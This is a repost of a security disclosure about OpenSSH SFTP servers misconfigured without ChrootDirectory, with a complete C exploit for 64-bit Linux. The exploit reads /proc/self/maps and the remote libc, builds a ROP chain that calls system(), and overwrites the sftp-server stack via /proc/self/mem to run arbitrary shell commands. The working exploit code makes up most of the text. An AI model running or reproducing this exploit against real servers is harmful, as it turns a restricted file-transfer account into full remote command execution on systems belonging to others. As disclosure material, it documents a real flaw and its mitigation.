OpenSSH lets you grant SFTP access to users without allowing full command
execution using "ForceCommand internal-sftp". However, if you misconfigure
the server and don't use ChrootDirectory, the user will be able to access
all parts of the filesystem that he has access to - including procfs. On
modern Linux kernels (>=2.6.39, I think), /proc/self/maps reveals the
memory layout and /proc/self/mem lets you write to arbitrary memory
positions. Combine those and you get easy RCE.
The linux version of OpenSSH 6.7 contains a mitigation, see the release notes:
* sftp-server(8): On platforms that support it, use prctl() to
prevent sftp-server from accessing /proc/self/{mem,maps}
Here's my PoC for 64bit Linux:
#define _GNU_SOURCE
// THIS PROGRAM IS NOT DESIGNED TO BE SAFE AGAINST VICTIM MACHINES THAT
// TRY TO ATTACK BACK, THE CODE IS SLOPPY!
// (In other words, please don't use this against other people's machines.)
#include <libssh/libssh.h>
#include <libssh/sftp.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#define min(a,b) (((a)<(b))?(a):(b))
sftp_session sftp;
size_t grab_file(char *rpath, char **out) {
size_t allocated = 4000, used = 0;
*out = calloc(1, allocated+1);
sftp_file f = sftp_open(sftp, rpath, O_RDONLY, 0);
if (f == NULL) fprintf(stderr, "Error opening remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
while (1) {
ssize_t nbytes = sftp_read(f, *out+used, allocated-used);
if (nbytes < 0) fprintf(stderr, "Error reading remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
if (nbytes == 0) {
(*out)[used] = '\0';
sftp_close(f);
return used;
}
used += nbytes;
if (used == allocated) {
allocated *= 4;
*out = realloc(*out, allocated);
}
}
}
void dump_file(char *name, void *buf, size_t len) {
FILE *f = fopen(name, "w+");
if (!f) perror("can't write to local file"), exit(1);
if (fwrite(buf, 1, len, f) != len) fprintf(stderr, "local write failed\n"), exit(1);
if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
}
size_t slurp_file(char *path, char **out) {
size_t allocated = 4000, used = 0;
*out = calloc(1, allocated+1);
FILE *f = fopen(path, "r");
if (f == NULL) perror("opening local file failed"), exit(1);
while (1) {
ssize_t nbytes = fread(*out+used, 1, allocated-used, f);
if (nbytes < 0) fprintf(stderr, "Error reading local file %s: %s\n", path, strerror(errno)), exit(1);
if (nbytes == 0) {
(*out)[used] = '\0';
if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
return used;
}
used += nbytes;
if (used == allocated) {
allocated *= 4;
*out = realloc(*out, allocated);
}
}
}
int main(int argc, char **argv) {
if (argc != 4) fprintf(stderr, "invocation: ./exploit host user 'shell commands here'\n"), exit(1);
char *target_host = argv[1];
char *target_user = argv[2];
char *shell_commands = argv[3];
ssh_session my_ssh_session;
int rc;
char *password;
// Open session and set options
my_ssh_session = ssh_new();
if (my_ssh_session == NULL) exit(-1);
ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, target_host);
ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, target_user);
// Connect to server
rc = ssh_connect(my_ssh_session);
if (rc != SSH_OK) fprintf(stderr, "Error connecting to host: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
// Authenticate ourselves
password = getpass("Password: ");
rc = ssh_userauth_password(my_ssh_session, NULL, password);
if (rc != SSH_AUTH_SUCCESS)
fprintf(stderr, "Error authenticating with password: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
sftp = sftp_new(my_ssh_session);
if (sftp == NULL) fprintf(stderr, "Error allocating SFTP session: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
rc = sftp_init(sftp);
if (rc != SSH_OK) {
fprintf(stderr, "Error initializing SFTP session: %s.\n", ssh_get_error(sftp));
sftp_free(sftp);
return rc;
}
char *mappings;
grab_file("/proc/self/maps", &mappings);
//printf("/proc/self/maps dump: \n%s\n\n\n", mappings);
printf("got /proc/self/maps. looking for libc...\n");
// 7fc9e742b000-7fc9e75ad000 r-xp 00000000 fe:00 2753466 /lib/x86_64-linux-gnu/libc-2.13.so
long long start_addr, end_addr, offset;
char *libc_path = NULL;
long long stack_start_addr = 0, stack_end_addr;
for (char *p = strtok(mappings, "\n"); p; p = strtok(NULL, "\n")) {
if (strstr(p, " r-xp ") && strstr(p, "/libc-")) {
if (libc_path) fprintf(stderr, "warning: two times libc?\n");
printf("mapping line: %s\n", p);
if (sscanf(p, "%Lx-%Lx %*4c %Lx", &start_addr, &end_addr, &offset) != 3) perror("scanf failed"), exit(1);
libc_path = strdup(strchr(p, '/'));
if (libc_path == NULL) fprintf(stderr, "no path in mapping?"), exit(1);
}
if (strstr(p, "[stack]")) {
if (stack_start_addr != 0) fprintf(stderr, "two stacks? no."), exit(1);
printf("mapping line: %s\n", p);
if (sscanf(p, "%Lx-%Lx ", &stack_start_addr, &stack_end_addr) != 2) perror("scanf failed"), exit(1);
}
}
if (libc_path == NULL) fprintf(stderr, "unable to find libc\n"), exit(1);
if (stack_start_addr == 0) fprintf(stderr, "unable to find stack"), exit(1);
printf("remote libc is at %s\n", libc_path);
printf("offset %Lx from libc is mapped to %Lx-%Lx\n", offset, start_addr, end_addr);
char *libc;
size_t libc_size = grab_file(libc_path, &libc);
dump_file("libc.so", libc, libc_size);
printf("downloaded libc, size is %zu bytes\n", libc_size);
system("objdump -T libc.so | grep ' system$' | cut -d' ' -f1 > system.addr");
char *system_offset_str;
slurp_file("system.addr", &system_offset_str);
long long system_offset;
if (sscanf(system_offset_str, "%Lx", &system_offset) != 1) perror("scanf failed"), exit(1);
long long remote_system_addr = start_addr+system_offset-offset;
printf("remote system() function is at %Lx\n", remote_system_addr);
printf("looking for ROP gadget `pop rdi;ret` (0x5fc3) in libc...\n");
char *gadget = memmem(libc+offset, end_addr-start_addr, "\x5f\xc3", 2);
if (gadget == NULL) fprintf(stderr, "no gadget found :(\n"), exit(1);
long long gadget_address = start_addr + (gadget-(libc+offset));
long long ret_address = gadget_address+1;
printf("found gadget at %Lx\n", gadget_address);
printf("remote stack is at %Lx-%Lx\n", stack_start_addr, stack_end_addr);
printf("doing it the quick-and-dirty way (that means: pray that the target"
"program was compiled with gcc, giving us 16-byte stack alignment)...\n");
long long stack_len = stack_end_addr - stack_start_addr;
/*if (stack_len > 32000) {
stack_len = 32000;
stack_start_addr = stack_end_addr - stack_len;
}*/
char *new_stack = malloc(stack_len);
// first fill it with our ret slide
for (long long *s = (void*)new_stack; s<(long long*)(new_stack+stack_len); s++) {
*s = ret_address;
}
// put some shell commands in the head
strcpy(new_stack, shell_commands);
// put the mini-ROP-chain at the end
// [address of pop rdi] [stack head] [address of system]
long long *se = (void*)(new_stack + stack_len);
se[-3] = gadget_address;
se[-2] = stack_start_addr;
se[-1] = remote_system_addr;
printf("Prepared the new stack. Now comes the moment of truth: push the new stack over and pray.\n");
sftp_file mem = sftp_open(sftp, "/proc/self/mem", O_RDWR, 0);
if (mem == NULL) fprintf(stderr, "Error opening remote memory: %s\n", ssh_get_error(sftp)), exit(1);
// first send over the string
rc = sftp_seek64(mem, stack_start_addr);
if (rc) fprintf(stderr, "Error seeking to remote stack: %s\n", ssh_get_error(sftp)), exit(1);
ssize_t mem_written = sftp_write(mem, new_stack, strlen(shell_commands)+1);
if (mem_written != strlen(shell_commands)+1) fprintf(stderr, "didn't write the whole new stack\n");
// now send over the rest right-to-left
for (long long off = stack_len-32000; off >= 0; off -= 32000) {
rc = sftp_seek64(mem, stack_start_addr+off);
if (rc) fprintf(stderr, "Error seeking: %s\n", ssh_get_error(sftp)), exit(1);
mem_written = sftp_write(mem, new_stack+off, 32000);
if (mem_written != 32000) fprintf(stderr, "stack write failed – that's probably good :)\n"), exit(0);
}
return 0;
}
Authored by Jann Horn
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information
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